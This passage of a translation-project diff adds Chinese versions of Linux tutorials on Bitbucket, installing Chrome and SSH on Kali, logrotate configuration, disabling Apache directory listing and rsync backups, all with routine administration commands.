[3]: https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Introduction#Find_a_bug_we&#39;ve_identified_as_a_good_fit_for_new_contributors.
[4]: https://quality.mozilla.org/get-involved/
[5]: https://github.com/mozilla/OpenDesign
[6]: https://support.mozilla.org/en-US/get-involved/questions
[7]: http://support.mozilla.org/
[8]: https://support.mozilla.org/en-US/get-involved/kb
[9]: https://l10n.mozilla.org/
[10]: https://learning.mozilla.org/en-US/
[11]: https://advocacy.mozilla.org/en-US
[12]: https://twitter.com/moingshaikh

View File

@ -0,0 +1,125 @@
Bitbucket 版本控制入门指南
============================================================
![](https://www.blogmint.com/frontendUtil/openPage?page=blog-post-read&oId=c41aba944ad4408095c09ccabc1921ec&uId=1a715d24df2f49c0be2acf7d7409ffbb&count=1&image=one-pixel.png)
在互联网成为一个巨大的、世界性的现象之前,开发团队常常被限制在一个小的物理空间内。如果公司没有资金支持的话,与世界另一方的人合作是一个非常昂贵或几乎不可能的梦想。
幸运的是,情况不再是这样了。互联网诞生了基于网络的解决方案,允许公司组成合作团体,包括彼此相距数千英里的人。
自从 2008 年首次推出以来,[Bitbucket][1] 已成为使用 **Mercurial****Git** 版本控制系统(**VCS**)的开发人员团队中越来越受欢迎的选择。
它既提供免费帐户,带有不限数量的私人存储库(每个账户最多 5 个用户),也提供多种付费计划,允许每个帐户有更多用户。此外,标记为“公开”的仓库对可以编辑或读取其内容的人数没有限制。
### 注册 Bitbucket
要使用 **Bitbucket**,你需要建立一个免费帐户。要这样做,请进入 [https://bitbucket.org/][2] 然后单击<ruby>免费开始<rt>Get started for free</rt></ruby>按钮。
首先,你需要输入有效的电子邮件地址,然后点击**继续**。 你的电子邮件帐户将被验证,如果一切正常,你将被提示输入所需的密码。完成后,再次点击 **继续**,然后检查你的电子邮件**收件箱**,以确认你的帐户是否已创建:
[
![Bitbucket Singup](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Singup.png)
][3]
*Bitbucket 注册*
验证电子邮件地址后,系统会要求你确定**用户名**。 然后将创建你的帐户,你将会进入 **Bitbucket** 面板,在那里开始创建团队、项目和仓库:
[
![Bitbucket Dashboard](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Dashboard.png)
][4]
*Bitbucket 面板*
如你所见,你可以在几分钟内注册 **Bitbucket**。**Atlassian** 的人简化了这个过程,以便你可以把你的时间真正用在 **Bitbucket** 上 - 我们下面会进一步讲。
### 使用 Bitbucket
让我们浏览下注册 **Bitbucket** 之后必须要做的事情。它们都在顶部菜单中:
[
![Explore Bitbucket Features](http://www.tecmint.com/wp-content/uploads/2017/01/Explore-Bitbucket-Features.png)
][5]
*探索 Bitbucket 功能*
#### 1). 创建一个团队,通过允许多个 Bitbucket 用户共享一个账号计划的方式鼓励协作。
这将允许他们轻松管理团队拥有的仓库。要创建团队,请输入**团队名称**,并确保团队标识不存在。接下来,输入你要添加到群组的人员的电子邮件地址,并指明是否要将其设为**管理员**。最后,单击**创建**
[
![Bitbucket - Create a Team](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Create-a-Team.png)
][6]
*Bitbucket 创建一个团队*
#### 2) 创建或导入一个仓库
如果你已经使用基于 Git 的解决方案,你可以轻松地将你的仓库导入 **Bitbucket**。否则,你可以从头创建一个。让我们看看在每种情况下你需要做什么。
要创建新的仓库,请单击<ruby>仓库<rt>Repositories</rt></ruby>菜单中的<ruby>创建仓库<rt>Create repository</rt></ruby>选项。为新仓库和要分组到的项目选择一个名称。接下来,指明是否要将其设置为 private 并指定类型Git 或 Mercurial。最后单击**创建仓库**
[
![Bitbucket - Create a New Repository](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Create-a-New-Repository.png)
][7]
*Bitbucket 创建一个新仓库*
要导入已有仓库,请从**仓库**下拉菜单中选择**<ruby>导入<rt>Import</rt></ruby>**仓库。要开始导入,请指定源,输入 URL 和所需的登录凭据(如果需要)。
最后,选择新的仓库设置,然后单击**导入**仓库。忽略有关在指定 **URL** 处找不到仓库的警告,因为它是虚拟的,仅用于演示目的:
[
![Bitbucket - Import Existing Code](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Import-Existing-Code.png)
][8]
*Bitbucket 导入已有代码*
就是这样,很简单吧。
### 在 Bitbucket 中使用仓库
创建一个新仓库或者导入一个仓库后它会在面板上展示出来。这时就能执行一些常规操作如克隆、创建分支、pull request、提交修改、添加 **README** 文件等等:
[
![Bitbucket - Repository Overview](http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Repository-Overview.png)
][9]
*Bitbucket 仓库概览*
如果想了解如何用仓库工作,或者想要提升你的 git 技能,可以参考 [Bitbucket 官方文档][10]。
##### 总结
如你所见,不管你是版本管理的新手还是老手,**Bitbucket** 都能使管理变得更简单。如果你对本文有任何疑问或评论,请不要犹豫让我们知道。我们期待听到你的声音!
--------------------------------------------------------------------------------
作者简介:
![](http://1.gravatar.com/avatar/7badddbc53297b2e8ed7011cf45df0c0?s=256&d=blank&r=g)
我是 Ravi SaiveTecMint 的原创作者。一个喜爱在互联网上分享技巧和提示的计算机 geek 和 Linux 老手。我的大多数服务运行在 Linux 开源平台上。请在 Twitter、Facebook、Google+ 上关注我。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/bitbucket-for-version-control/
作者:[Ravi Saive][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/admin/
[1]:http://bit.ly/2ieExnS
[2]:http://bit.ly/2ioJISt
[3]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Singup.png
[4]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Dashboard.png
[5]:http://www.tecmint.com/wp-content/uploads/2017/01/Explore-Bitbucket-Features.png
[6]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Create-a-Team.png
[7]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Create-a-New-Repository.png
[8]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Import-Existing-Code.png
[9]:http://www.tecmint.com/wp-content/uploads/2017/01/Bitbucket-Repository-Overview.png
[10]:https://confluence.atlassian.com/bitbucket/bitbucket-cloud-documentation-home-221448814.html

View File

@ -0,0 +1,99 @@
如何在 Kali Linux 中安装 Google Chrome 浏览器
====================
### 介绍
**目的**
我们的目标就是在 Kali Linux 上安装好 Google Chrome Web 浏览器。同时,请参阅附录为可能出现的问题进行排查。
**要求**
需要获得已安装 Kali Linux 或者 Live 系统的特权。
**困难程度**
容易。
**惯例**
- `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
- `$` - 给定命令以常规权限用户运行
### 步骤说明
**下载 Google Chrome**
首先,使用 `wget` 命令来下载最新版本的 Google Chrome 的 debian 安装包。
```
# wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
```
**安装 Google Chrome**
在 Kali Linux 安装 Google Chrome 最容易的方法就是使用 `gdebi`,它会自动帮你下载所有的依赖包。
```
# gdebi google-chrome-stable_current_amd64.deb
```
**启动 Google Chrome**
开启一个终端terminal执行 `google-chrome` 命令来启动 Google Chrome 浏览器。
```
$ google-chrome
```
### 附录
**非法指令 (Illegal Instruction)**
当以 root 用户特权来运行 `google-chrome` 命令是,会出现 非法指令 (Illegal Instruction) 错误信息。因为通常情况下Kali Linux 默认情况下的默认用户是 root 用户,我们需要创建一个虚的非特权用户,比如 `linuxconfig`,然后使用这个用户来启动 Google Chrome 浏览器。如下:
```
# useradd -m -d /home/linuxconfig linuxconfig
# su linuxconfig -c google-chrome
```
**libappindicator1 包未安装**
```
dpkg: dependency problems prevent configuration of google-chrome-stable:
google-chrome-stable depends on libappindicator1; however:
Package libappindicator1 is not installed.
```
使用 `gdebi` 命令来安装 Google Chrome 的 debian 包可以解决依赖问题。参阅上文。 
![在 Kali Linux 中以普通用户启动 google chrome](https://linuxconfig.org/images/kali-linux-google-chome-browser-start.jpg)
-------------------------------
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
-------------------------------
via: https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux
作者:[Lubos Rendek][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux
[1]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-4-1-illegal-instruction
[2]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-4-2-package-libappindicator1-is-not-installed
[3]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-1-download-google-chrome
[4]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-2-install-google-chrome
[5]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-3-start-google-chrome
[6]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-4-appendix
[7]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h1-objective
[8]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h2-requirements
[9]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h3-difficulty
[10]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h4-conventions
[11]:https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux#h5-instructions

View File

@ -0,0 +1,97 @@
如何在 Kali Linux 上安装 SSH 服务
===============
### 介绍
**目的**
我们的目的是 Kali Linux 上安装 SSH安全 shell
**要求**
你需要有特权访问你的 Kali Linux 安装或者 Live 系统。
**困难程度**
很容易!
**惯例**
- `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
- `$` - 给定命令以常规权限用户运行
### 指导
**安装 SSH**
从终端使用 `apt-get` 命令安装 SSH 包:
```
# apt-get update
# apt-get install ssh
```
**启用和开始使用 SSH**
为了确保安全 shell 能够使用,在重启系统后使用 `systemctl` 命令来启用它:
```
# systemctl enable ssh
```
在当前对话执行中使用 SSH:
```
# service ssh start
```
**允许 SSH Root 访问**
默认情况下 SSH 不允许以 root 用户登录,因此将会出现下面的错误提示信息:
```
Permission denied, please try again.
```
为了通过 SSH 进入你的 Kali Linux 系统,你可以有两个不同的选择。第一个选择是创建一个新的非特权用户然后使用它的身份来登录。第二个选择,你可以以 root 用户访问 SSH 。为了实现这件事需要在SSH 配置文件 `/etc/ssh/sshd_config` 中插入下面这些行内容或对其进行编辑:
```
#PermitRootLogin prohibit-password
```
改为:
```
PermitRootLogin yes
```
![kali linux enable ssh root access](https://linuxconfig.org/images/enable-root-ssh-login-kali-linux.jpg)
`/etc/ssh/sshd_config` 进行更改以后,需在以 root 用户登录 SSH 前重启 SSH 服务:
```
# service ssh restart
```
--------------------------------------------------------------------------------
via: https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux
作者:[Lubos Rendek][a]
译者:[ucasFL](https://github.com/ucasFL)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux
[1]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h5-1-install-ssh
[2]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h5-2-enable-and-start-ssh
[3]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h5-3-allow-ssh-root-access
[4]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h1-objective
[5]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h2-requirements
[6]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h3-difficulty
[7]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h4-conventions
[8]:https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux#h5-instructions

View File

@ -0,0 +1,120 @@
配置 logrotate 的终极指导
============================================================
一般来说,日志是任何故障排除过程中非常重要的一部分,但这些日志会随着时间增长。在这种情况下,我们需要手动执行日志清理以回收空间,这是一件繁琐的管理任务。为了解决这个问题,我们可以在 Linux 中配置 logrotate 程序,它可以自动执行日志文件的轮换、压缩、删除和用邮件发出。
我们可以配置 logrotate 程序,以便每个日志文件可以在每天、每周、每月或当它变得太大时处理。
### logrotate 是如何工作的
默认情况下logrotate 命令作为放在 `/etc/cron.daily` 中的 cron 任务,每天运行一次,它会帮助你设置一个策略,其中超过某个时间或大小的日志文件被轮换。
命令: `/usr/sbin/logrotate`
配置文件: `/etc/logrotate.conf`
这是 logrotate 的主配置文件。logrotate 还在 `/etc/logrotate.d/` 中存储了特定服务的配置。确保下面的那行包含在 `/etc/logrotate.conf` 中,以读取特定服务日志配置。
```
include /etc/logrotate.d`
```
logrotate 历史: `/var/lib/logrotate.status`
重要的 logrotate 选项:
```
compress --> 压缩日志文件的所有非当前版本
daily,weekly,monthly --> 按指定计划轮换日志文件
delaycompress --> 压缩所有版本,除了当前和下一个最近的
endscript --> 标记 prerotate 或 postrotate 脚本的结束
errors "emailid" --> 给指定邮箱发送错误通知
missingok --> 如果日志文件丢失,不要显示错误
notifempty --> 如果日志文件为空,则不轮换日志文件
olddir "dir" --> 指定日志文件的旧版本放在 “dir” 中
postrotate --> 引入一个在日志被轮换后执行的脚本
prerotate --> 引入一个在日志被轮换前执行的脚本
rotate 'n' --> 在轮换方案中包含日志的 n 个版本
sharedscripts --> 对于整个日志组只运行一次脚本
size='logsize' --> 在日志大小大于 logsize例如 100K4M时轮换
```
### 配置
让我们为我们自己的示例日志文件 `/tmp/sample_output.log` 配置 logrotate。
第一步:在 `/etc/logrotate.conf` 中添加以下行。
```
/tmp/sample_output.log {
size 1k
create 700 root root
rotate 4
compress
}
```
在上面的配置文件中:
* size 1k - logrotate 仅在文件大小等于(或大于)此大小时运行。
* create - 轮换原始文件并创建具有指定权限、用户和组的新文件。
* rotate - 限制日志文件轮转的数量。因此,这将只保留最近的 4 个轮转的日志文件。
* compress - 这将压缩文件。
第二步:通常,你需要等待一天才能等到 logrotate 由 `/etc/cron.daily` 执行。除此之外,你可以用下面的命令在命令行中运行:
```
/usr/sbin/logrotate /etc/logrotate.conf
```
在执行 logrotate 命令之前的输出:
```
[root@rhel1 tmp]# ls -l /tmp/
total 28
-rw-------. 1 root root 20000 Jan 1 05:23 sample_output.log
```
在执行 logrotate 之后的输出:
```
[root@rhel1 tmp]# ls -l /tmp
total 12
-rwx------. 1 root root 0 Jan 1 05:24 sample_output.log
-rw-------. 1 root root 599 Jan 1 05:24 sample_output.log-20170101.gz
[root@rhel1 tmp]#
```
这样就能确认 logrotate 成功实现了。
--------------------------------------------------------------------------------
作者简介:
大家好!我是 Manmohan Mirkar。我很高兴见到你们我在 10 多年前开始使用 Linux我从来没有想过我会到今天这个地步。我的激情是帮助你们获取 Linux 知识。谢谢你们在这!
--------------------------------------------------------------------------------
via: http://www.linuxroutes.com/configure-logrotate/
作者:[Manmohan Mirkar][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.linuxroutes.com/author/admin/
[1]:http://www.linuxroutes.com/configure-logrotate/#
[2]:http://www.linuxroutes.com/configure-logrotate/#
[3]:http://www.linuxroutes.com/configure-logrotate/#
[4]:http://www.linuxroutes.com/configure-logrotate/#
[5]:http://www.linuxroutes.com/configure-logrotate/#
[6]:http://www.linuxroutes.com/configure-logrotate/#
[7]:http://www.linuxroutes.com/configure-logrotate/#
[8]:http://www.linuxroutes.com/configure-logrotate/#
[9]:http://www.linuxroutes.com/configure-logrotate/#
[10]:http://www.linuxroutes.com/configure-logrotate/#
[11]:http://www.linuxroutes.com/configure-logrotate/#
[12]:http://www.linuxroutes.com/author/admin/
[13]:http://www.linuxroutes.com/configure-logrotate/#respond
[14]:http://www.linuxroutes.com/configure-logrotate/#

View File

@ -3,25 +3,26 @@
[确保 Apache web 服务器安全][3] 是最重要的任务之一,特别是在你的网站刚刚搭建好的时侯。
比方说,如果你 Apache 服务目录 (**/var/www/tecmint** or **/var/www/html/tecmint**) 下创建一个名为“**tecmint**”的目录,并且忘记在该目录放置“**index.html**”,你会惊奇的发现所有访问者都可以在浏览器输入 **http://www.example.com/tecmint** 来完整列举所以在该目录的重要文件和文件夹。
比方说,如果你 Apache 服务目录 (`/var/www/tecmint` 或 `/var/www/html/tecmint`) 下创建一个名为 `tecmint` 的目录,并且忘记在该目录放置 `index.html`,你会惊奇的发现所有访问者都可以在浏览器输入 **http://www.example.com/tecmint** 来完整列举所有在该目录中的重要文件和文件夹。
本文将为你展示如何使用 **.htaccess** 文件禁用或阻止 Apache 服务器目录列举。
一下便是不存在 **index.html** ,且未采取防范措施前,目录的列举详情。
本文将为你展示如何使用 `.htaccess` 文件禁用或阻止 Apache 服务器目录列举。
以下便是不存在 `index.html` ,且未采取防范措施前,目录的列举的情况。
[![Apache 目录列举](http://www.tecmint.com/wp-content/uploads/2017/01/Apache-Directory-Listing.png)][4]
Apache 目录列举
*Apache 目录列举*
首先,**.htaccess**  (**超文本 access**) 是一个文件,可以让站点管理员控制服务器的环境变量以及其他的重要选项,用以增强他/她的站点功能。
首先,`.htaccess`  (**hypertext access**) 是一个文件,它可以让站点管理员控制服务器的环境变量以及其他的重要选项,用以增强他/她的站点功能。
预知更多关于该重要文件的信息,请阅读以下文章,以便通过 **.htaccess** 的方法来确保 Apache Web 服务器的安全。
欲知更多关于该重要文件的信息,请阅读以下文章,以便通过 `.htaccess` 的方法来确保 Apache Web 服务器的安全。
1. [确保 Apache Web 服务器安全的 25 条 .htaccess 设置技巧][1]
2. [使用 .htaccess 为 Apache Web 目录进行密码保护][2]
使用这一简单方法,在站点目录树中的 任意/每个 目录创建 **.htaccess** 文件,以便为站点该目录、子目录和其中的文件提供保护支持。
使用这一简单方法,在站点目录树中的任意/每个目录创建 `.htaccess` 文件,以便为站点根目录、子目录和其中的文件提供保护支持。
首先要 Apache 主配置文件中为你的站点启用 **.htaccess** 文件
首先要 Apache 主配置文件中为你的站点启用 `.htaccess` 文件支持
```
$ sudo vi /etc/apache2/apache2.conf #Debian/Ubuntu 系统
@ -35,11 +36,12 @@ Options Indexes FollowSymLinks
AllowOverride All
</Directory>
```
如果已存在 **.htaccess** 文件,先备份(如下),假设文件在 **/var/www/html/tecmint/** (并要禁用该目录列举)
如果已存在 `.htaccess` 文件,先备份(如下),假设文件在 `/var/www/html/tecmint/` (并要禁用该目录列举)
```
$ sudo cp /var/www/html/tecmint/.htaccess /var/www/html/tecmint/.htaccess.orig
```
然后你就可以在某个特定的目录使用你喜欢的编辑器打开 (或创建) 它,以便修改。并添加以下内容来关闭目录列举。
```
@ -52,21 +54,21 @@ Options -Indexes
-------- 使用 SystemD 的系统 --------
$ sudo systemctl restart apache2
$ sudo systemctl restart httpd
-------- 使用 systems 的系统 --------
-------- 使用 SysVInit 的系统 --------
$ sudo /etc/init.d/apache2 restart
$ sudo /etc/init.d/httpd restart
```
现在来验证效果,在浏览器中输入:**http://www.example.com/tecmint**,你会得类似如下的信息:
现在来验证效果,在浏览器中输入:**http://www.example.com/tecmint**,你会得类似如下的信息:
[![Apache 目录列举已禁用](http://www.tecmint.com/wp-content/uploads/2017/01/Apache-Directory-Listing-Disabled.png)][5]
Apache 目录列举已禁用
至此,文毕。在本文中,我们描述了如何使用 **.htaccess** 文件来禁用 Apache Web 服务器的目录列举。之后我们会介绍两种同样简单的我方法来实现这一相同目的。随时保持联系。
*Apache 目录列举已禁用*
在本文中,我们描述了如何使用 `.htaccess` 文件来禁用 Apache Web 服务器的目录列举。之后我们会介绍两种同样简单的我方法来实现这一相同目的。随时保持联系。
像往常一样,在下方反馈表单中给我们发送关于本文的任何想法。
--------------
作者简介:
@ -77,7 +79,7 @@ Aaron Kili 是一名 Linux 和 F.O.S.S 忠实拥护者、未来的 Linux 系统
译者简介:
[GHLandy](http://GHLandy.com) - 生活中所欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
[GHLandy](http://GHLandy.com) - 生活中所欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
-------------
@ -85,6 +87,10 @@ via: http://www.tecmint.com/disable-apache-directory-listing-htaccess/
作者:[Aaron Kili][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProje) 原创编译,[Linux中国](https://linux.cn) 荣誉推出
[1]: http://www.tecmint.com/password-protect-apache-web-directories-using-htaccess/
[2]: http://www.tecmint.com/apache-htaccess-tricks/
[3]: http://www.tecmint.com/apache-security-tips/

View File

@ -0,0 +1,126 @@
使用 rsync 来备份 Linux 系统
============================================================
> 探索 rsync 在备份方案中的作用。
![Using rsync to back up your Linux system](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/hard_drives.png?itok=yZWyaSO6 "Using rsync to back up your Linux system")
Image credits : [WIlliam][2][ Warby][3]. Modified by [Jason Baker][4]. Creative Commons [BY-SA 2.0][5].
在系统管理员的工作中备份无疑是一个重要的部分。当没有完整备份或者良好规划的备份和实施时,就可能或早或晚不可挽回地丢失重要的数据。
所有公司,无论大小,都运营在数据之上。考虑到丢失业务数据造成的经济和业务损失,从最小的个人公司到最大的跨国企业,没有一个公司能在丢失大部分数据以后得以幸存。你的办公室可以通过保险赔偿重建,但是你的数据就不可能再恢复了。
这里提到的丢失是指数据的完全损坏。而不是指数据被偷走,那是另一种灾难。我这里说的是数据被完全摧毁。
即使你只是个人用户而不是一个企业,备份你自己的数据也是非常重要的,我有二十年来的个人财务数据和我现在已经关闭的企业的数据,以及大量的电子发票。也包括近年来我创作的大量不同类型的文档、报告和数据报表。我不想失去任何这些数据。
所以备份是我数据长期安全的必要保障。
### 备份软件选择
有许多软件可以执行备份。大多数 Linux 发行版提供至少一种开源的备份软件。同时也有许多商业备份软件,但是这些都不符合我的需求,所以我决定使用基础的 Linux 工具来进行备份。
在我为 Open Source Yearbook 写的文章, [最佳搭档之 2015tar 和 ssh][6] 中,我说明了昂贵的商业备份软件在设计实施可行的备份计划中并不是必要的。
从去年开始我尝试了另一种选择, [rsync][7] 命令,它有许多我已经从中受益的有趣特性。我的主要需求是所创建的备份,用户不需要解压备份压缩包就能定位和恢复文件,以便节约创建备份的时间。
这篇文章的目的只是为了说明 rsync 在我的备份方案中的作用。并不是 rsync 的全部能力或者它的各种适用场景的概览。
### rsync 命令
Andrew Tridgell 和 Paul Mackerras 编写了 rsync ,首次发布于 1996 年。它的目标是向另一台电脑同步文件。你注意到了他们为什么取这个名字了吗remotely synchronize它是大多数发行版都提供的开源软件。
rsync 能够用于同步两个目录或目录树,无论它们是在同一个计算机上还是不同的计算机上,而且不仅如此,它还能做到更多。它创建或者更新的目录与源目录完全一样。新的目录不是以 tar 或 zip 等打包存储,而是普通的目录和文件,常见的 Linux 工具都能轻松访问,而这正是我所需要的。
rsync 的最重要的特性之一是它处理源目录被修改的已有文件的方式。它使用分块校验来比较源文件和目标文件,而不是从源把整个文件复制过去。如果两个文件所有块的校验和都相同,那么就不用传输数据。否则只有被改变的块被传输。这样节约了远程同步消耗的大量时间和带宽。比如,我第一次使用 rsync 脚本来把我所有的主机备份到一个外接的大型 usb 硬盘上需要三个小时,因为所有的数据都需要传输过去。而接下来的备份需要的时间就只是 3 到 8 分钟,这取决于上次备份以来创建和改变了多少文件。我使用 `time` 命令来记录实际花费的时间。昨天晚上,我只花了三分钟来从六个远程系统和本地工作站备份大概 750 Gb 数据。实际上只有在白天改变的几百 Mb 数据需要备份。
下面的命令可以用来同步两个目录及其任意子目录的内容。也就是说,在新目录的内容和源目录同步完之后,它们的内容完全一样。
```
rsync -aH sourcedir targetdir
```
`-a` 选项表示归档模式,它会保持权限、所有关系和符号(软)链接。`-H` 选项用来保持硬链接。注意源目录和目标目录都可以在远程主机上。
假设昨天我们使用 rsync 同步了两个目录。今天我们想再同步一次但是我们从源目录删除了一些文件。rsync 默认只复制新的和改变过的文件到新目录里,而不去改变新目录里被我们删除的文件,但是如果你想让那些在源目录里被删除的文件在新目录里也被删除,那么你可以加上 `--delete` 选项来删除。
另一个有趣的选项,也是我个人最喜欢的选项是 `--link-dest`,因为它极大地增加了 rsync 的能力和灵活性。`--link-dest` 使每日备份只花费很少的额外空间和很短的时间。
用这个选项指定前一天的备份目录,以及今天的备份目录,然后 rsync 会创建今天的新备份目录,并将昨天备份目录里的每一个文件在今天的备份目录中创建硬链接。现在我们在今天的备份目录中有一大堆指向昨天备份的硬链接。文件没有被重复创建,而是创建了一些硬链接。对于[硬链接][8],在 Wikipedia 中有非常详细的描述。而在用昨天的备份目录文件的硬链接创建了今天的备份之后rsync 和平常一样进行备份如果在文件中检测到了变化就不会做硬链接而是从昨天的备份目录里做一个文件的副本再把源文件中变化的部分复制过去。LCTT 译注:此处疑似原文表述不清,参见 `generator.c``try_dests_reg` 函数先根据 `match_level` 选择复制或者硬链接,而不是创建硬链接后再判断 `match_level`
现在我们的命令类似于下面这样。
```
rsync -aH --delete --link-dest=yesterdaystargetdir sourcedir todaystargetdir
```
你也可能想要排除一些不想要备份的目录或者文件。那么就可以使用 `--exclude` 选项。用这个选项加上你想排除文件或目录的模式。你可以用下面的新命令来排除浏览器的缓存。
```
rsync -aH --delete --exclude Cache --link-dest=yesterdaystargetdir sourcedir todaystargetdir
```
注意:你想排除的每一个文件的模式前面都分别需要加上 `--exclude` 选项。
rsync 可以同步远程主机,无论是作为同步源头还是目标。再举一个例子,我们假设想要把名为 remote1 的远程主机的目录同步到本地。因为 ssh 作为与远程主机交换数据的默认协议,我一直使用 ssh 选项。现在命令类似于下面这样。
```
rsync -aH -e ssh --delete --exclude Cache --link-dest=yesterdaystargetdir remote1:sourcedir todaystargetdir
```
这就是我的 rsync 备份命令的最终版本。
你可以依靠 rsync 的大量选项来定制你的同步过程。大多数情况而言,我刚刚描述的简单命令就足以胜任我的个人需要。你可以阅读 rsync 丰富的文档来了解它的其他能力。
### 部署备份
我的备份自动运行因为—“万物皆可自动化”。我写了一个 BASH 脚本使用 rsync 创建每天的备份。包括确保备份介质被挂载,生成每天的备份目录的名字,以及在备份介质中创建合适的目录结构,最后执行真正的备份再卸载备份介质。
我用 cron 每天早晨执行脚本确保我永远不会忘记备份。
我的脚本 rsbu 和配置文件 rsbu.conf 可以在 https://github.com/opensourceway/rsync-backup-script 上获取。
### 恢复测试
所有没有经过测试的备份计划都不完整的。你可以通过测试恢复某个文件或者整个目录,以确保备份在照常工作并且可以通过它来在数据全部丢失后恢复。我见过太多备份由于种种理由失败,以及由于缺乏测试忽略的问题导致宝贵的数据被丢失。
选择一个文件恢复到比如 `/tmp` 的测试目录,这样你就不会覆盖任何备份后被更新的文件。验证文件的内容是否是你预期的。恢复用 rsync 备份的文件仅仅只是找到你的备份文件然后把它复制到你想恢复的地方去那样简单。
我有几次不得不恢复我的个人文件,偶尔是整个目录。大多数是自己意外删除了文件或者目录。有几次是因为硬盘崩溃。这些备份迟早会派上用场。
### 最后一步
但仅仅创建备份并不能拯救你的业务,你需要定期的地创建备份,使最近的一次备份储存在另一台远程机器上,如果有可能,放在另外一个建筑物中或几英里之外。这样可以确保大规模的灾难不会摧毁你的所有备份。
对于小型企业的一个合理选择是在可移动介质上做每日备份,晚上把最新的备份带回家里,第二天早上把更早的备份带到办公室。你就会有几个轮流的拷贝。甚至可以把最新的备份带到银行并放到你的保管箱里,然后带回之前的备份。
--------------------------------------------------------------------------------
作者简介:
David Both - 他居住在北卡罗来纳州的罗列,是 Linux 和开源提倡者。他已经从事 IT 行业 40 多年。在 IBM 教授了二十多年 OS/2。在 IBM 的时候,他在 1981 年为最初的 IBM 个人电脑编写了第一门培训课程。他为红帽教授 RHCE 课程,并曾在世通公司、思科、北卡罗来纳州政府工作。他使用 Linux 和开源软件已经有二十年左右了。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/rsync-backup-linux
作者:[David Both][a]
译者:[trnhoe](https://github.com/trnhoe)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/dboth
[1]:https://opensource.com/article/17/1/rsync-backup-linux?rate=xmBjzZgqTu6p-Dw2gXy5cq43KHcSNs4-nisv_jnUgbw
[2]:https://www.flickr.com/photos/wwarby/11644168395
[3]:https://www.flickr.com/photos/wwarby/11644168395
[4]:https://opensource.com/users/jason-baker
[5]:https://creativecommons.org/licenses/by/2.0/
[6]:https://opensource.com/business/15/12/best-couple-2015-tar-and-ssh
[7]:https://en.wikipedia.org/wiki/Rsync
[8]:https://en.wikipedia.org/wiki/Hard_link
[9]:https://github.com/opensourceway/rsync-backup-script
[10]:https://opensource.com/user/14106/feed
[11]:https://opensource.com/article/17/1/rsync-backup-linux#comments
[12]:https://opensource.com/users/dboth

View File

@ -0,0 +1,90 @@
四种立即改善在线安全的方法
============================================================
